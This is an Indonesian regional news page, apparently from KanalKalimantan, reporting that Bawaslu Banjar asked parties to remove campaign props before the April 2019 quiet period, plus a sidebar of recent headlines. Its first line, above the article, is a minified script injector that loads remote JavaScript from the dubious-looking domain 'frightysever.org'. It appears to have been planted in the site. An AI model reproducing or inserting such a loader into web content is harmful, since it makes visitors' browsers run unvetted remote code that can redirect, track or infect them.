(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Politik

Jelang Masa Tenang, Bawaslu Banjar Minta Peserta Pemilu Turunkan APK


MARTAPURA, Bawaslu Banjar mengumpulkan perwakilan partai politik dan stakeholder guna membahas sterilisasi alat peraga kampanye (APK) menjelang masa tenang pemilu. Kordinator Divisi Humas dan Hubal Bawaslu Kabupaten Banjar Hairul Fallah, Jumat (12/4) mengatakan, jadwal kampanye melalui rapat umum dan iklan media masa cetak dan elektronik akan segera berakhir pada 13 April 2019.

Sebagaimana dalam peraturan KPU nomor 23 tahun 2018 tentang kampanye pemilihan umum pasal 34 ayat 7, pemasangan APK sebagai dimaksud pada ayat (1) menjadi tanggung jawab peserta pemilu. “Jadi 13 April itu pukul 24.00 Wita masa kampanye sudah berakhir, yang memasang APK merupakan peserta pemilu jadi kita minta mereka sendiri yang melepasnya,” jelasnya.

Ditambahkan Hairul, apabila masih saja didapati ada APK yang masih terpasang dan iklan di media masa cetak maupun elektronik, maka tim gabungan akan melakukan pelepasan seperti halnya unsur diantaranya dari Satpol PP Banjar, Dishub Banjar, Kesbangpol, Badan Perizinan, Kepilisian, TNI dan Bawaslu Banjar itu sendiri. “Pertama kita lakukan himbauan dulu, setelah itu kita lakukan penindakan dengan cara turun bersama-sama, baik di Kecamatan dan Kabupaten, sehingga serentak dilakukan,” jelasnya lagi.

Diketahui berdasarkan 492 UUD No 7 tahun 2017 yang mana setiap orang dengan sengaja melakukan kampanye diluar jadwal yang telah ditetapkan oleh KPU, setiap peserta pemilu diancam dengan pidana kurungan paling lama satu tahun atau denda Paling banyak Rp 12 juta. “Jadi kita tegaskan untuk peserta pemilu di kabupaten Banjar untuk menurunkan atributnya masing-masing mengingat saat ini sudah memasuki masa tenang,” imbaunya.

Ditanya untuk daerah pedalaman di Kabupaten Banjar, Hairul mengatakan akan melakukan penertiban dengan cara berjenjang dengan menginstruksikan panwascam untuk level daerah kecamatan. (rendy)

Reporter : Rendy
Editor : Chell

Desy Arfianty

Recent Posts

Respon Hakim MK Terkait Dalil Permohonan Denny Cs di Sidang Gugatan

Hanya Perlu 1 Suara untuk Menang pada Pilwali Banjarbaru 2024 Read More

2 jam ago

Dishub dan Organda Tak Bersepakat, APG Banjarbaru Jadinya Setop Operasi

KANALKALIMANTAN.COM, BANJARBARU - Belum beroperasi Angkutan Pelajar Gratis (APG) di sejumlah sekolah di Banjarbaru di… Read More

4 jam ago

Empat Pemohon Gugatan Pilwali Banjarbaru di MK

KANALKALIMANTAN.COM, JAKARTA - Empat buah gugatan dibacakan langsung dalam sidang sengketa hasil Pemilihan Wali Kota… Read More

6 jam ago

Sidang Gugatan Pilwali Banjarbaru: KPU RI Ambil Alih, Pemilihan Diulang Lawan Kotak Kosong

KANALKALIMANTAN.COM, JAKARTA - Sidang gugatan sengketa hasil Pemilihan Wali Kota dan Wakil Wali Kota (Pilwali)… Read More

18 jam ago

Angkutan Pelajar Gratis Tak Lagi Layani Sekolah di Banjarbaru, Ini Penyebabnya

KANALKALIMANTAN.COM, BANJARBARU  – Operasional Angkutan Pelajar Gratis (APG) Banjarbaru dikabarkan belum melayani para pelajar ke… Read More

19 jam ago

Tak Ada Gugatan di MK, Yamin-Ananda Sah Wali Kota dan Wakil Wali Kota Banjarmasin 2025-2030

KANALKALIMANTAN.COM, BANJARMASIN - Komisi Pemilihan Umum (KPU) Kota Banjarmasin menetapkan Yamin - Ananda sebagai Wali… Read More

21 jam ago

This website uses cookies.